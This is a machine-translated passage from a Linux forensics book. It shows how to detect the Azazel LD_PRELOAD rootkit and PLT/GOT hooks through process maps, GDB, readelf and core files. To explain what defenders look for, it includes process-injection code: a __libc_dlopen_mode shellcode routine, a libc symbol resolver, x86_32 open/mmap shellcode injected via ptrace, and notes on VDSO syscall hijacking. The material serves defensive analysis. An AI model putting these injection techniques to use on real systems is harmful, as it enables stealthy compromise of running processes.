- -我认为最常见的过程感染类型是 DLL 注入,也称为`.so`注入。 它是一个干净有效的解决方案,适合大多数攻击者和运行时恶意软件的需求。 让我们看一看受感染的进程,我将强调我们可以识别寄生虫代码的方法。 - -### 注意事项 - -术语**共享对象**、**共享库**、**DLL**和**ET_DYN**在本书中都是同义使用的,特别是在这个特定的部分。 - -## Azazel userland rootkit 检测 - -我们被感染的进程是一个名为`./host`的简单测试程序,它被 Azazel 用户域 rootkit 感染。 Azazel 是流行的 Jynx rootkit 的更新版本。 这两个 rootkit 都依赖于`LD_PRELOAD`来加载恶意的共享库,该共享库劫持了各种`glibc`共享库函数。 我们将使用各种 GNU 工具和 Linux 环境(如`/proc`文件系统)检查被感染的进程。 - -## 进程地址空间的映射 - -分析进程的第一步是映射地址空间。 最直接的方法是查看`/proc//maps`文件。 我们希望注意任何奇怪的文件映射和具有奇怪权限的段。 同样在我们的例子中,我们可能需要检查堆栈中的环境变量,因此我们需要注意它在内存中的位置。 - -### 注意事项 - -也可以使用`pmap `命令代替`cat /proc//maps`。 我更喜欢直接查看映射文件,因为它显示了每个内存段的整个地址范围和任何文件映射(比如共享库)的完整文件路径。 - -以下是受感染进程`./host`的内存映射示例: - -```sh -$ cat /proc/`pidof host`/maps -00400000-00401000 r-xp 00000000 00:24 5553671 /home/user/git/azazel/host -00600000-00601000 r--p 00000000 00:24 5553671 /home/user/git/azazel/host -00601000-00602000 rw-p 00001000 00:24 5553671 /home/user/git/azazel/host -0066c000-0068d000 rw-p 00000000 00:00 0 [heap] -3001000000-3001019000 r-xp 00000000 08:01 11406078 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 -3001019000-3001218000 ---p 00019000 08:01 11406078 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 -3001218000-3001219000 r--p 00018000 08:01 11406078 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 -3001219000-300121a000 rw-p 00019000 08:01 11406078 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 -300121a000-3001224000 rw-p 00000000 00:00 0 -3003400000-300340d000 r-xp 00000000 08:01 11406085 /lib/x86_64-linux-gnu/libpam.so.0.83.1 -300340d000-300360c000 ---p 0000d000 08:01 11406085 /lib/x86_64-linux-gnu/libpam.so.0.83.1 -300360c000-300360d000 r--p 0000c000 08:01 11406085 /lib/x86_64-linux-gnu/libpam.so.0.83.1 -300360d000-300360e000 rw-p 0000d000 08:01 11406085 /lib/x86_64-linux-gnu/libpam.so.0.83.1 -7fc30ac7f000-7fc30ac81000 r-xp 00000000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so -7fc30ac81000-7fc30ae80000 ---p 00002000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so -7fc30ae80000-7fc30ae81000 r--p 00001000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so -7fc30ae81000-7fc30ae82000 rw-p 00002000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so -7fc30ae82000-7fc30ae85000 r-xp 00000000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so -7fc30ae85000-7fc30b084000 ---p 00003000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so -7fc30b084000-7fc30b085000 r--p 00002000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so -7fc30b085000-7fc30b086000 rw-p 00003000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so -7fc30b086000-7fc30b241000 r-xp 00000000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fc30b241000-7fc30b440000 ---p 001bb000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fc30b440000-7fc30b444000 r--p 001ba000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fc30b444000-7fc30b446000 rw-p 001be000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so -7fc30b446000-7fc30b44b000 rw-p 00000000 00:00 0 -7fc30b44b000-7fc30b453000 r-xp 00000000 00:24 5553672 /home/user/git/azazel/libselinux.so -7fc30b453000-7fc30b652000 ---p 00008000 00:24 5553672 /home/user/git/azazel/libselinux.so -7fc30b652000-7fc30b653000 r--p 00007000 00:24 5553672 /home/user/git/azazel/libselinux.so -7fc30b653000-7fc30b654000 rw-p 00008000 00:24 5553672 /home/user/git/azazel/libselinux.so -7fc30b654000-7fc30b677000 r-xp 00000000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fc30b847000-7fc30b84c000 rw-p 00000000 00:00 0 -7fc30b873000-7fc30b876000 rw-p 00000000 00:00 0 -7fc30b876000-7fc30b877000 r--p 00022000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fc30b877000-7fc30b878000 rw-p 00023000 08:01 11406093 /lib/x86_64-linux-gnu/ld-2.19.so -7fc30b878000-7fc30b879000 rw-p 00000000 00:00 0 -7fff82fae000-7fff82fcf000 rw-p 00000000 00:00 0 [stack] -7fff82ffb000-7fff82ffd000 r-xp 00000000 00:00 0 [vdso] -ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] -``` - -在进程*./host*的映射文件的前面输出中突出显示了感兴趣和关注的领域。 特别地,请注意带有`/home/user/git/azazel/libselinux.so`路径的共享库。 这应该立即引起您的注意,因为该路径不是标准的共享库路径,它的名称为`libselinux.so`,传统上与所有其他共享库(即`/usr/lib`)一起存储。 - -这可能表明可能的共享库注入(也称为`ET_DYN`注入),这意味着这不是真正的`libselinux.so`库。 在本例中,我们要检查的第一件事是`LD_PRELOAD`环境变量,以查看它是否用于**预加载**`libselinux.so`库。 - -## 在堆栈中找到 LD_PRELOAD - -程序的环境变量被存储在在程序运行时开始时堆栈的底部附近。 堆栈的底部实际上是最高地址(堆栈的开始),因为在 x86 架构中堆栈会成长为更小的地址。 根据`/proc//maps`的输出,我们可以得到堆栈的位置: - -```sh -STACK_TOP STACK_BOTTOM -7fff82fae000 - 7fff82fcf000 -``` - -因此,我们要检查从`0x7fff82fcf000`开始的堆栈。 使用 GDB,我们可以附加到进程上,并通过使用`x/s
`命令快速定位堆栈上的环境变量,该命令告诉 GDB 以 ASCII 格式查看内存。 `x/4096s
`命令执行相同的操作,但读取 4,096 字节的数据。 - -我们可以放心地假设环境变量将在堆栈的前 4096 字节中,但是由于堆栈增长到更低的地址,我们必须从` - 4096`开始读取。 - -### 注意事项 - -argv 和 envp 指针分别指向命令行参数和环境变量。 我们寻找的不是实际的指针,而是这些指针所引用的字符串。 - -下面是一个使用 GDB 在堆栈上读取环境变量的例子: - -```sh -$ gdb -q attach `pidof host` -$ x/4096s (0x7fff82fcf000 – 4096) - -… scroll down a few pages … - -0x7fff82fce359: "./host" -0x7fff82fce360: "LD_PRELOAD=./libselinux.so" -0x7fff82fce37b: "XDG_VTNR=7" ----Type to continue, or q to quit--- -0x7fff82fce386: "XDG_SESSION_ID=c2" -0x7fff82fce398: "CLUTTER_IM_MODULE=xim" -0x7fff82fce3ae: "SELINUX_INIT=YES" -0x7fff82fce3bf: "SESSION=ubuntu" -0x7fff82fce3ce: "GPG_AGENT_INFO=/run/user/1000/keyring-jIVrX2/gpg:0:1" -0x7fff82fce403: "TERM=xterm" -0x7fff82fce40e: "SHELL=/bin/bash" - -… truncated … -``` - -从前面的输出可以看到,我们已经验证了`LD_PRELOAD`是用于将`libselinux.so`预加载到进程中的。 这意味着程序中与预加载共享库中的函数同名的任何 glibc 函数都将被`libselinux.so`中的函数覆盖并有效地劫持。 - -换句话说,如果`./host`程序调用`fopen`函数从 glibc 和`libselinux.so``fopen`的包含它自己的版本,那就是`fopen`函数,将存储在 PLT /(`.got.plt`部分),而不是使用 glibc 版本。 这将我们引向 PLT/GOT (PLT 的全局偏移表)中的下一个指定的项目检测函数劫持。 - -## 检测 PLT/GOT 挂钩 - -在检查名为`.got.plt`(可执行文件的数据段)的 ELF 部分中的 PLT/GOT 之前,让我们看看`./host`程序中的哪些函数对 PLT/GOT 进行了重定位。 记住,在 ELF 内部的章节中,全局偏移量表的重定位表项是`_JUMP_SLOT`类型的。 详细信息请参见 ELF(5)手册。 - -### 注意事项 - -PLT/GOT 的重定位类型称为`_JUMP_SLOT`,因为它们只是跳转槽。 它们包含函数指针,PLT 用 jmp 指令将控制传递给目标函数。 实际的重定位类型被命名为`X86_64_JUMP_SLOT, i386_JUMP_SLOT`,依架构而定。 - -下面是标识共享库函数的示例: - -```sh -$ readelf -r host -Relocation section '.rela.plt' at offset 0x418 contains 7 entries: -000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0 -000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0 -000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0 -000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main+0 -000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__+0 -000000601040 000600000007 R_X86_64_JUMP_SLO 0000000000000000 pause + 0 -000000601048 000700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0 -``` - -我们可以看到有几个著名的 glibc 函数正在被调用。 有可能部分或所有这些都被假冒的共享库`libselinux.so`劫持了。 - -### 识别不正确的 GOT 地址 - -在`./host`可执行文件中显示 PLT/GOT 条目的输出中,我们可以看到每个符号的地址。 让我们看看内存中以下符号的全局偏移量表:`fopen`、`opendir`和`unlink`。 有可能这些已被劫持,不再指向`libc.so`库。 - -下面是一个显示 GOT 值的 GDB 输出示例: - -```sh -(gdb) x/gx 0x601048 -0x601048 : 0x00007fc30b44e609 -(gdb) x/gx 0x601018 -0x601018 : 0x00007fc30b44ec81 -(gdb) x/gx 0x601028 -0x601028 : 0x00007fc30b44ed77 -``` - -快速浏览一下`selinux.so`共享库的可执行内存区域,可以发现 GDB 在 GOT 中显示的地址指向`selinux.so`中的函数,而不是`libc.so`中的函数: - -```sh -7fc30b44b000-7fc30b453000 r-xp /home/user/git/azazel/libselinux.so - -``` - -使用这个特殊的恶意软件(Azazel),恶意共享库是使用`LD_PRELOAD`预先加载的,这使得验证可疑库成为一项容易的任务。 但情况并非总是如此,因为许多形式的恶意软件会通过`ptrace()`或使用`mmap()`或`__libc_dlopen_mode()`的 shell 代码注入共享库。 确定是否注入了共享库的启发式方法将在下一节中详细介绍。 - -### 注意事项 - -我们将在下一章中看到,用于进程内存取证的 ECFS 技术具有一些特性,这些特性使得识别注入的 dll 和其他类型的 ELF 对象变得非常简单。 - -## ET_DYN 注入内件 - -正如我们刚才所演示的,检测用`LD_PRELOAD`预先加载的共享库是相当简单的。 那么被注入到远程进程的共享库呢? 或者换句话说,是插入到预先存在的进程中的共享对象? 如果我们想要进行下一步并检测 PLT/GOT 钩子,那么了解共享库是否被恶意注入是非常重要的。 首先,我们必须确定将共享库注入远程进程的所有方式,正如我们在 7.2.2 节中简要讨论的那样。 - -让我们看一个具体的例子,看看这是如何实现的。 下面是来自 Saruman 的一些示例代码,它将 PIE 可执行文件注入到一个进程中。 - -### 注意事项 - -PIE 可执行文件与共享库具有相同的格式,因此可以使用相同的代码将两种类型的文件注入到进程中。 - -使用`readelf`实用程序,我们可以看到在标准 C 库(`libc.so.6`)中存在一个名为`__libc_dlopen_mode`的函数。 这个函数实际上完成了与`dlopen`函数相同的功能,它不驻留在`libc`中。 这意味着对于任何使用`libc`的进程,我们可以让动态链接器加载我们想要的`ET_DYN`对象,同时也自动处理所有的重定位补丁。 - -### 示例-找到 __libc_dlopen_mode 的符号 - -攻击者使用这个函数将`ET_DYN`对象加载到进程中是很常见的: - -```sh -$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep dlopen - 2128: 0000000000136160 146 FUNC GLOBAL DEFAULT 12 __libc_dlopen_mode@@GLIBC_PRIVATE -``` - -### 代码示例- __libc_dlopen_mode shellcode - -下面的代码在 C 语言中,但是当编译成机器码时,它可以作为 shell 代码使用`ptrace`注入到进程中: - -```sh -#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag emulates dlopen behaviour -__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr) -{ - void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr; - void *handle = (void *)0xfff; //initialized for debugging - handle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL); - __RETURN_VALUE__(handle); - __BREAKPOINT__; -} -``` - -注意,其中一个参数是`void *dlopen_addr`。 Saruman 找到了`__libc_dlopen_mode()`函数的地址,它位于`libc.so`中。 这是使用一个用于解析`libc`库中的符号的函数来完成的。 - -### 代码示例- libc 符号解析 - -下面的代码有许多的更多细节,我强烈建议您查看 Saruman。 它专门用于注入被编译为`ET_DYN`对象的可执行程序,但正如前面提到的,注入方法也适用于共享库,因为它们也被编译为`ET_DYN`对象: - -```sh -Elf64_Addr get_sym_from_libc(handle_t *h, const char *name) -{ - int fd, i; - struct stat st; - Elf64_Addr libc_base_addr = get_libc_addr(h->tasks.pid); - Elf64_Addr symaddr; - - if ((fd = open(globals.libc_path, O_RDONLY)) < 0) { - perror("open libc"); - exit(-1); - } - - if (fstat(fd, &st) < 0) { - perror("fstat libc"); - exit(-1); - } - - uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); - if (libcp == MAP_FAILED) { - perror("mmap libc"); - exit(-1); - } - - symaddr = resolve_symbol((char *)name, libcp); - if (symaddr == 0) { - printf("[!] resolve_symbol failed for symbol '%s'\n", name); - printf("Try using --manual-elf-loading option\n"); - exit(-1); - } - symaddr = symaddr + globals.libc_addr; - - DBG_MSG("[DEBUG]-> get_sym_from_libc() addr of __libc_dl_*: %lx\n", symaddr); - return symaddr; - -} -``` - -为了进一步揭开共享库注入的神秘,让我向您展示一种更简单的技术:使用`ptrace`注入的 shell 代码将共享库`open()/mmap()`注入到进程地址空间。 这种技术使用起来很好,但它需要恶意软件手动处理所有重定位的热补丁。 `__libc_dlopen_mode()`函数在动态链接器本身的帮助下透明地处理所有这些,因此从长远来看实际上更容易。 - -### 代码示例- x86_32 shellcode mmap()一个 ET_DYN 对象 - -下面的 shellcode 可以被注入到一个给定进程的可执行段中,然后使用`ptrace`执行。 - -请注意,这是我第二次在书中使用这个手写的 shell 代码作为示例。 我在 2008 年为一个 32 位 Linux 系统编写了它,作为示例使用它很方便。 否则,我肯定会写一些新的东西来演示在 x86_64 Linux 中更现代的方法: - -```sh -_start: - jmp B -A: - - # fd = open("libtest.so.1.0", O_RDONLY); - - xorl %ecx, %ecx - movb $5, %al - popl %ebx - xorl %ecx, %ecx - int $0x80 - - subl $24, %esp - - # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0); - - xorl %edx, %edx - movl %edx, (%esp) - movl $8192,4(%esp) - movl $7, 8(%esp) - movl $2, 12(%esp) - movl %eax,16(%esp) - movl %edx, 20(%esp) - movl $90, %eax - movl %esp, %ebx - int $0x80 - - # the int3 will pass control back the tracer - int3 -B: - call A - .string "/lib/libtest.so.1.0" -``` - -用`PTRACE_POKETEXT`注入,`PTRACE_SETREGS`设置`%eip`为 shell 代码的入口点,一旦 shell 代码命中`int3`指令,它将有效地将控制传递回正在执行感染的程序。 然后,只需从现在感染了共享库(`/lib/libtest.so.1.0`)的主机进程中卸载即可。 - -在某些情况下,例如在启用了 PaX mprotect 限制的二进制文件([https://pax.grsecurity.net/docs/mprotect.txt](https://pax.grsecurity.net/docs/mprotect.txt))上,`ptrace`系统调用不能用于将 shell 代码注入文本段。 这是因为它是只读的,而且限制还会阻止将文本段标记为可写,所以您不能简单地绕过这个问题。 然而,可以通过几种方式来规避这一问题,例如将指令指针设置为`__libc_dlopen_mode`,并将函数的参数存储在寄存器中(如`%rdi`、`%rsi`,等等)。 或者,在 32 位体系结构的情况下,参数可以存储在堆栈上。 - -另一种方法是操作大多数进程中存在的 VDSO 代码。 - -## 操纵 VDSO 来执行脏工作 - -此技术是在[http://vxheaven.org/lib/vrn00.html](http://vxheaven.org/lib/vrn00.html)中演示的,但其总体思想很简单。 VDSO 代码映射到进程地址空间,如在本章早些时候`/proc//maps`输出,包含代码,调用系统调用通过*系统调用*(64 位)和*sysenter【显示】(32 位)指令。 Linux 中系统调用的调用约定总是将系统调用号放在`%eax/%rax`寄存器中。* - -如果攻击者使用`ptrace(PTRACE_SYSCALL, …)`,他们可以快速地在 VDSO 代码中定位系统调用指令,并替换寄存器值来调用任何需要的系统调用。 如果在恢复正在执行的原始系统调用时小心地执行此操作,那么它将不会导致应用崩溃。 `open`和`mmap`系统调用可以用于将`ET_DYN` 或`ET_REL`等可执行对象加载到进程地址空间中。 或者,它们可以用来简单地创建一个可以存储 shell 代码的匿名内存映射。 - -下面是一个代码示例,攻击者在一个 32 位系统上利用了这段代码: - -```sh -fffe420 <__kernel_vsyscall>: -ffffe420: 51 push %ecx -ffffe421: 52 push %edx -ffffe422: 55 push %ebp -ffffe423: 89 e5 mov %esp,%ebp -ffffe425: 0f 34 sysenter -``` - -### 注意事项 - -在 64 位系统上,VDSO 包含至少两个使用系统调用指令的位置。 攻击者可以操纵其中任何一个。 - -下面是攻击者在 64 位系统上利用该代码的代码示例: - -```sh -ffffffffff700db8: b0 60 mov $0x60,%al -ffffffffff700dba: 0f 05 syscall -``` - -## 共享对象加载是否合法? - -动态链接器是将共享库引入进程的唯一合法方式。 但是,请记住,攻击者可以使用`__libc_dlopen_mode`函数,该函数调用动态连接器来加载对象。 那么,我们如何知道动态链接器什么时候在做合法的工作呢? 有三种合法的方式可以让动态连接器将共享对象映射到进程。 - -### 合法的共享对象加载 - -让我们看看认为合法的共享对象加载: - -* 可执行程序中有一个有效的`DT_NEEDED`条目,该条目对应于共享库文件。 -* 被动态链接器有效加载的共享库可能反过来有它们自己的`DT_NEEDED`条目,以便加载其他的共享库。 这可以称为传递式共享库加载。 -* 如果一个程序被与`libdl.so`链接,那么它可以使用动态加载函数动态加载库。 加载共享对象的函数命名为`dlopen`,解析符号的函数命名为`dlsym`。 - -### 注意事项 - -正如我们前面所讨论的,`LD_PRELOAD`环境变量也调用动态连接器,但这种方法处于灰色地带,因为它通常用于合法和不合法的目的。 因此,它不包含在*合法共享对象加载*列表中。 - -### 非法的共享对象加载 - -现在,让我们来看看共享的对象被一个攻击者或一个恶意软件实例加载到一个进程中的非法方式: - -* `__libc_dlopen_mode`函数存在于`libc.so`中(而不是`libdl.so`),并且不打算由程序调用。 它实际上被标记为一个`GLIBC PRIVATE`函数。 大多数进程都有`libc.so`,因此这是攻击者或恶意软件通常用来加载任意共享对象的函数。 -* `VDSO`操作。 正如我们已经演示过的,这种技术可以用于执行任意系统调用,因此可以很容易地使用这种方法对共享对象进行内存映射。 -* 直接调用`open`和`mmap`系统调用的 shell 代码。 -* 攻击者可以通过覆盖可执行程序或共享库的动态段中的`DT_NULL`标记来添加`DT_NEEDED`条目,这样就可以告诉动态链接器加载他们想要的任何共享对象。 这种特殊的方法在[第 6 章](6.html#1P71O2-1d4163ae11644cc2802846625b2dc985 "Chapter 6. ELF Binary Forensics in Linux")、*ELF 二进制取证在 Linux*中进行了讨论,它更符合本章的主题,但在检查可疑进程时也可能是必要的。 - -### 注意事项 - -一定要检查可疑进程的二进制文件,并验证动态段没有出现可疑。 参考[第 6 章](6.html#1P71O2-1d4163ae11644cc2802846625b2dc985 "Chapter 6. ELF Binary Forensics in Linux")、*ELF Linux 二进制取证*中的*检查动态段的 DLL 注入轨迹*部分。 - -现在我们已经清楚地定义了合法和不合法加载共享对象,我们可以开始讨论检测共享库是否合法的启发式方法。 - -在此之前,值得再次注意的是`LD_PRELOAD`通常用于好的目的和坏的目的,要知道这一点,唯一可靠的方法是检查预加载共享对象中的实际代码是做什么用的。 因此,我们将把`LD_PRELOAD`排除在关于启发式的讨论之外。 - -## so 注入检测的启发式 - -在本节中,我将描述检测共享库是否合法背后的一般原则。 在[第 8 章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ECFS—扩展核心文件快照技术*中,我们将讨论 ECFS 技术,它实际上将这些启发式纳入其特性集。 - -现在,让我们只看原则。 我们想要得到一个映射到进程的共享库列表,然后看看哪些符合被动态连接器合法加载的条件: - -1. Get a list of shared object paths from the `/proc//maps` file. - - ### 注意事项 - - 一些被恶意注入的共享库不会以文件映射的形式出现,因为攻击者创建了匿名内存映射,然后将共享目标代码 memcpy 放入这些内存区域。 在下一章中,我们将看到 ECFS 也可以清除这些更隐秘的实体。 可以对每个匿名映射的可执行内存区域进行扫描,以查看 ELF 头是否存在,特别是那些具有`ET_DYN`文件类型的文件。 - -2. 确定与您正在查看的共享库相对应的可执行文件中是否存在有效的`DT_NEEDED`条目。 如果存在,那么它就是一个合法的共享库。 在您验证了给定的共享库是合法的之后,检查该共享库的动态段并枚举其中的`DT_NEEDED`项。 那些相应的共享库也可以标记为合法的。 这又回到了传递共享对象加载的概念。 -3. Look at the `PLT/GOT` of the process's actual executable program. If there are any `dlopen` calls being used, then analyze the code to find any calls to `dlopen`. The `dlopen` calls may be passed arguments that can be inspected statically, like this for instance: - - ```sh - void *handle = dlopen("somelib.so", RTLD_NOW); - ``` - - 在这种情况下,字符串将作为一个静态常量存储,因此将在二进制文件的`.rodata`部分中。 因此,检查`.rodata`部分(或存储字符串的任何地方)是否包含任何包含您试图验证的共享库路径的字符串。 - -4. 如果任何共享对象路径无法找到在映射文件中找到,或者一个`DT_NEEDED`部分占,不能占通过任何`dlopen`调用,这意味着它是由`LD_PRELOAD`预紧或通过其他方式注入。 此时,您应该将共享对象限定为可疑对象。 - -## PLT/GOT 挂钩检测工具 - -目前,在 Linux 中还没有多少专门用于进程内存分析的优秀工具。 这就是我设计 ECFS 的原因(在[第 8 章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology")、*中讨论了 ECFS -扩展核心文件快照技术*)。 据我所知,只有很少的工具可以检测 PLT/GOT 覆盖,它们本质上都使用了我们刚刚讨论过的相同的启发式: - -* **Linux VMA Voodoo**:这个工具是我在 2011 年通过 DARPA CFT 项目设计的一个原型。 它能够检测许多类型的进程内存感染,但目前仅在 32 位系统上工作,对公众不可用。 然而,新的 ECFS 实用程序是开源的,它的灵感来自 VMA Voodoo。 你可以在[http://www.bitlackeys.org/#vmavudu](http://www.bitlackeys.org/#vmavudu)上阅读 VMA Voodoo。 -* **ECFS(扩展核心文件快照)技术**:该技术最初设计为作为 Linux 中进程内存取证工具的本地快照格式。 它的发展甚至不止于此,并且有一整章专门介绍它([第八章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ECFS -扩展核心文件快照技术*)。 可以在[https://github.com/elfmaster/ecfs](https://github.com/elfmaster/ecfs)中找到。 -* **挥发性 plt_hook**:挥发性软件主要是面向全系统内存分析,但 Georg Wicherski 在 2013 年设计了一个插件,专门用于检测进程中的 PLT/GOT 感染。 这个插件使用类似于我们之前讨论过的启发式方法。 该特性现在已经与[https://github.com/volatilityfoundation/volatility](https://github.com/volatilityfoundation/volatility)中的挥发性源代码合并。 - -# Linux ELF 核心文件 - -在大多数 UNIX 风格的操作系统中,可以向一个进程发送一个信号,以便它转储一个核心文件。 核心文件本质上是进程及其在其核心(崩溃或转储)之前状态的快照。 核心文件是一种 ELF 文件,它主要由程序头文件和内存段组成。 它们还在`PT_NOTE`段中包含大量注释,描述文件映射、共享库路径和其他信息。 - -核心文件本身对于进程内存取证并不是特别有用,但对于更精明的分析人员来说,它可能会产生一些结果。 - -### 注意事项 - -这就是 ECFS 出现的原因; 它是常规 Linux ELF 核心格式的扩展,并提供专门用于法医分析的特性。 - -## 分析核心文件 Azazel rootkit - -在这里,我们将使用`LD_PRELOAD`环境变量用 azazel rootkit 感染进程,然后向进程传递一个中止信号,以便我们可以捕获一个核心转储进行分析。 - -### 启动 Azazel 感染的进程并进行核心转储 - -```sh -$ LD_PRELOAD=./libselinux.so ./host & -[1] 9325 -$ kill -ABRT `pidof host` -[1]+ Segmentation fault (core dumped) LD_PRELOAD=./libselinux.so ./host -``` - -### 核心文件程序头文件 - -在一个核心文件中,有许多程序头文件。 除 1 个外,其余的均为`PT_LOAD`型。 除了特殊的设备(即`/dev/mem`),进程中的每个内存段都有一个`PT_LOAD`程序头。 从共享库和匿名映射到堆栈、堆、文本和数据段的一切都由程序头表示。 - -然后,有一个`PT_NOTE`类型的程序头; 它包含整个核心文件中最有用的和描述性的信息。 - -### PT_NOTE 段 - -下面显示的输出显示了对核心文件注释段的解析。 我们在这里使用`eu-readelf`而不是常规的`readelf`的原因是 eu-readelf (ELF Utils 版本)需要花费时间来解析注释段中的每个条目,而更常用的`readelf`(binutils 版本)只显示`NT_FILE`条目: - -```sh -$ eu-readelf -n core - -Note segment of 4200 bytes at offset 0x900: - Owner Data size Type - CORE 336 PRSTATUS - info.si_signo: 11, info.si_code: 0, info.si_errno: 0, cursig: 11 - sigpend: <> - sighold: <> - pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781 - utime: 5.292000, stime: 0.004000, cutime: 0.000000, cstime: 0.000000 - orig_rax: -1, fpvalid: 1 - r15: 0 r14: 0 - r13: 140736185205120 r12: 4195616 - rbp: 0x00007fffb25380a0 rbx: 0 - r11: 582 r10: 140736185204304 - r9: 15699984 r8: 1886848000 - rax: -1 rcx: -160 - rdx: 140674792738928 rsi: 4294967295 - rdi: 4196093 rip: 0x000000000040064f - rflags: 0x0000000000000286 rsp: 0x00007fffb2538090 - fs.base: 0x00007ff1677a1740 gs.base: 0x0000000000000000 - cs: 0x0033 ss: 0x002b ds: 0x0000 es: 0x0000 fs: 0x0000 gs: 0x0000 - CORE 136 PRPSINFO - state: 0, sname: R, zomb: 0, nice: 0, flag: 0x0000000000406600 - uid: 0, gid: 0, pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781 - fname: host, psargs: ./host - CORE 128 SIGINFO - si_signo: 11, si_errno: 0, si_code: 0 - sender PID: 7669, sender UID: 0 - CORE 304 AUXV - SYSINFO_EHDR: 0x7fffb254a000 - HWCAP: 0xbfebfbff - PAGESZ: 4096 - CLKTCK: 100 - PHDR: 0x400040 - PHENT: 56 - PHNUM: 9 - BASE: 0x7ff1675ae000 - FLAGS: 0 - ENTRY: 0x400520 - UID: 0 - EUID: 0 - GID: 0 - EGID: 0 - SECURE: 0 - RANDOM: 0x7fffb2538399 - EXECFN: 0x7fffb2538ff1 - PLATFORM: 0x7fffb25383a9 - NULL - CORE 1812 FILE - 30 files: - 00400000-00401000 00000000 4096 /home/user/git/azazel/host - 00600000-00601000 00000000 4096 /home/user/git/azazel/host - 00601000-00602000 00001000 4096 /home/user/git/azazel/host - 3001000000-3001019000 00000000 102400 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 - 3001019000-3001218000 00019000 2093056 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 - 3001218000-3001219000 00018000 4096 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 - 3001219000-300121a000 00019000 4096 /lib/x86_64-linux-gnu/libaudit.so.1.0.0 - 3003400000-300340d000 00000000 53248 /lib/x86_64-linux-gnu/libpam.so.0.83.1 - 300340d000-300360c000 0000d000 2093056 /lib/x86_64-linux-gnu/libpam.so.0.83.1 - 300360c000-300360d000 0000c000 4096 /lib/x86_64-linux-gnu/libpam.so.0.83.1 - 300360d000-300360e000 0000d000 4096 /lib/x86_64-linux-gnu/libpam.so.0.83.1 - 7ff166bd9000-7ff166bdb000 00000000 8192 /lib/x86_64-linux-gnu/libutil-2.19.so - 7ff166bdb000-7ff166dda000 00002000 2093056 /lib/x86_64-linux-gnu/libutil-2.19.so - 7ff166dda000-7ff166ddb000 00001000 4096 /lib/x86_64-linux-gnu/libutil-2.19.so - 7ff166ddb000-7ff166ddc000 00002000 4096 /lib/x86_64-linux-gnu/libutil-2.19.so - 7ff166ddc000-7ff166ddf000 00000000 12288 /lib/x86_64-linux-gnu/libdl-2.19.so - 7ff166ddf000-7ff166fde000 00003000 2093056 /lib/x86_64-linux-gnu/libdl-2.19.so - 7ff166fde000-7ff166fdf000 00002000 4096 /lib/x86_64-linux-gnu/libdl-2.19.so - 7ff166fdf000-7ff166fe0000 00003000 4096 /lib/x86_64-linux-gnu/libdl-2.19.so - 7ff166fe0000-7ff16719b000 00000000 1814528 /lib/x86_64-linux-gnu/libc-2.19.so - 7ff16719b000-7ff16739a000 001bb000 2093056 /lib/x86_64-linux-gnu/libc-2.19.so - 7ff16739a000-7ff16739e000 001ba000 16384 /lib/x86_64-linux-gnu/libc-2.19.so - 7ff16739e000-7ff1673a0000 001be000 8192 /lib/x86_64-linux-gnu/libc-2.19.so - 7ff1673a5000-7ff1673ad000 00000000 32768 /home/user/git/azazel/libselinux.so - 7ff1673ad000-7ff1675ac000 00008000 2093056 /home/user/git/azazel/libselinux.so - 7ff1675ac000-7ff1675ad000 00007000 4096 /home/user/git/azazel/libselinux.so - 7ff1675ad000-7ff1675ae000 00008000 4096 /home/user/git/azazel/libselinux.so - 7ff1675ae000-7ff1675d1000 00000000 143360 /lib/x86_64-linux-gnu/ld-2.19.so - 7ff1677d0000-7ff1677d1000 00022000 4096 /lib/x86_64-linux-gnu/ld-2.19.so - 7ff1677d1000-7ff1677d2000 00023000 4096 /lib/x86_64-linux-gnu/ld-2.19.so -``` - -能够查看寄存器状态、辅助向量、信号信息和文件映射并不是什么坏消息,但它们本身不足以分析恶意软件感染的进程。 - -### PT_LOAD 段和为取证目的的核心文件的崩溃 - -每个内存段包含一个程序头,它描述了它所代表的段的偏移量、地址和大小。 